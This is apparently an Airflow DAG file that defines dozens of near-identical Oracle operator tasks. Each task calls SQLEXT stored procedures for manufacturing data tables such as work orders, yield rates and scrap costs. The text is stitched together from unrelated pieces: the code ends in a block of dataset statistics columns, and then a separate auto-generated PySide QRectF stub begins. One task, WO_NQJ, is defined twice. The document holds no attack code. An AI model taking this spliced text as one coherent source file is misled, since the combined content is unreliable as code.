":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "CHANGE_LINE_VN1"
CHANGE_LINE_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "CHANGE_LINE_WS1"
CHANGE_LINE_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "CHANGE_LINE_WS2"
CHANGE_LINE_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_OUTPUT_QTY_NQJ"
MO_OUTPUT_QTY_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_OUTPUT_QTY_VN1"
MO_OUTPUT_QTY_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_OUTPUT_QTY_WS1"
MO_OUTPUT_QTY_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_OUTPUT_QTY_WS2"
MO_OUTPUT_QTY_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_STATUS_NQJ"
MO_STATUS_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_STATUS_VN1"
MO_STATUS_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_STATUS_WS1"
MO_STATUS_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MO_STATUS_WS2"
MO_STATUS_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "PD_ABNORMALCODE_NQJ"
PD_ABNORMALCODE_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "PD_ABNORMALCODE_VN1"
PD_ABNORMALCODE_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "PD_ABNORMALCODE_WS1"
PD_ABNORMALCODE_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "PD_ABNORMALCODE_WS2"
PD_ABNORMALCODE_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_NQJ"
TRIAL_FORMULA_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_SMT_NQJ"
TRIAL_FORMULA_SMT_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_SMT_VN1"
TRIAL_FORMULA_SMT_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_SMT_WS1"
TRIAL_FORMULA_SMT_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_SMT_WS2"
TRIAL_FORMULA_SMT_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_VN1"
TRIAL_FORMULA_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_WS1"
TRIAL_FORMULA_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "TRIAL_FORMULA_WS2"
TRIAL_FORMULA_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_NQJ"
WO_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_NQJ"
WO_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_NQX"
WO_NQX = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_ROUTING_NQJ"
WO_ROUTING_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_ROUTING_NQX"
WO_ROUTING_NQX = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_ROUTING_VN1"
WO_ROUTING_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_ROUTING_WS1"
WO_ROUTING_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_ROUTING_WS2"
WO_ROUTING_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_VN1"
WO_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_WS1"
WO_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WO_WS2"
WO_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "YIELDRATEWO_YR_NQJ"
YIELDRATEWO_YR_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "YIELDRATEWO_YR_NQX"
YIELDRATEWO_YR_NQX = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "YIELDRATEWO_YR_VN1"
YIELDRATEWO_YR_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "YIELDRATEWO_YR_WS1"
YIELDRATEWO_YR_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "YIELDRATEWO_YR_WS2"
YIELDRATEWO_YR_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_DEPARTMENT_H"
SDM_DEPARTMENT_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_EMPLOYEE_H"
SDM_EMPLOYEE_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_WO"
SDM_SRC_WO = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_MO_STATUS"
SDM_SRC_MO_STATUS = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_YIELDRATEWO_YR"
SDM_SRC_YIELDRATEWO_YR = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_ABNORMAL_DETAIL"
SDM_SRC_ABNORMAL_DETAIL = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_TRIAL_FORMULA"
SDM_SRC_TRIAL_FORMULA = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_CHANGE_LINE"
SDM_SRC_CHANGE_LINE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_MO_OUTPUT_QTY"
SDM_SRC_MO_OUTPUT_QTY = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_TRIAL_FORMULA_SMT"
SDM_SRC_TRIAL_FORMULA_SMT = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SRC_SPN_TABL"
SDM_SRC_SPN_TABL = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_MANUFACTURING_ORDER"
SDM_MANUFACTURING_ORDER = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_STAGE"
SDM_STAGE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SFCS_LINE"
SDM_SFCS_LINE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_PRODUCTIVITY_LINE"
SDM_PRODUCTIVITY_LINE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_PROCESS"
SDM_PROCESS = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SHIFT"
SDM_SHIFT = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_FPYR_IN_SINGLE_STATION"
SDM_FPYR_IN_SINGLE_STATION = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_FIRST_PASS_YIELD_RATE"
SDM_FIRST_PASS_YIELD_RATE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_AUTO_EQUIPMENT_STDH"
SDM_AUTO_EQUIPMENT_STDH = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_ACTIVATION"
SDM_ACTIVATION = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SFCS_OUTPUT_QTY"
SDM_SFCS_OUTPUT_QTY = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_STANDARD_HOUR"
SDM_STANDARD_HOUR = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_DIPATP_SFCS_OUTPUT_HOUR"
SDM_DIPATP_SFCS_OUTPUT_HOUR = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_DIPATP_TTL_INPUT_HOURS"
SDM_DIPATP_TTL_INPUT_HOURS = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SMT_SFCS_OUTPUT_HOUR"
SDM_SMT_SFCS_OUTPUT_HOUR = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SMT_WORK_HOUR"
SDM_SMT_WORK_HOUR = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_ORACLE_OUTPUT_HOUR"
SDM_ORACLE_OUTPUT_HOUR = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_COST_OF_POOR_QUALITY"
SDM_COST_OF_POOR_QUALITY = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_TOTAL_SCRAP_AMT"
SDM_TOTAL_SCRAP_AMT = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SDM_SMT_LINE_DISTRIBUTION_RATIO"
SDM_SMT_LINE_DISTRIBUTION_RATIO = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "DIM_MANUFACTURING_ORDER"
DIM_MANUFACTURING_ORDER = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "DIM_STAGE"
DIM_STAGE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "DIM_SFCS_LINE"
DIM_SFCS_LINE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "DIM_PRODUCTIVITY_LINE"
DIM_PRODUCTIVITY_LINE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "DIM_PROCESS"
DIM_PROCESS = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "DIM_SHIFT"
DIM_SHIFT = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "FCT_FPYR_IN_SINGLE_STATION"
FCT_FPYR_IN_SINGLE_STATION = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "FCT_FIRST_PASS_YIELD_RATE"
FCT_FIRST_PASS_YIELD_RATE = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "FCT_COST_OF_POOR_QUALITY"
FCT_COST_OF_POOR_QUALITY = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "FCT_COST_OF_POOR_QUALITY_PC"
FCT_COST_OF_POOR_QUALITY_PC = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "FCT_SCRAP_AMT_RATIO"
FCT_SCRAP_AMT_RATIO = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "FCT_SMT_LINE_DISTRIBUTION_RATIO"
FCT_SMT_LINE_DISTRIBUTION_RATIO = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
| 27.931189
| 118
| 0.630757
| 4,495
| 37,344
| 4.787764
| 0.038042
| 0.147205
| 0.107058
| 0.08587
| 0.90112
| 0.885275
| 0.88416
| 0.88416
| 0.88402
| 0.882533
| 0
| 0.003745
| 0.206325
| 37,344
| 1,336
| 119
| 27.952096
| 0.722325
| 0.07123
| 0
| 0.623229
| 1
| 0
| 0.297667
| 0.020034
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.003777
| 0.010387
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e01b6b9034cda747136952995fb835229e4216f6
| 6,992
|
py
|
Python
|
resources/dot_PyCharm/system/python_stubs/-762174762/PySide/QtCore/QRectF.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | 1
|
2020-04-20T02:27:20.000Z
|
2020-04-20T02:27:20.000Z
|
resources/dot_PyCharm/system/python_stubs/cache/16012662ddca113c1f50140f9e0d3bd290a511015767475cf362e5267760f062/PySide/QtCore/QRectF.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | null | null | null |
resources/dot_PyCharm/system/python_stubs/cache/16012662ddca113c1f50140f9e0d3bd290a511015767475cf362e5267760f062/PySide/QtCore/QRectF.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | null | null | null |
# encoding: utf-8
# module PySide.QtCore
# from C:\Python27\lib\site-packages\PySide\QtCore.pyd
# by generator 1.147
# no doc
# imports
import Shiboken as __Shiboken
class QRectF(__Shiboken.Object):
# no doc
def adjust(self, *args, **kwargs): # real signature unknown
pass
def adjusted(self, *args, **kwargs): # real signature unknown
pass
def bottom(self, *args, **kwargs): # real signature unknown
pass
def bottomLeft(self, *args, **kwargs): # real signature unknown
pass
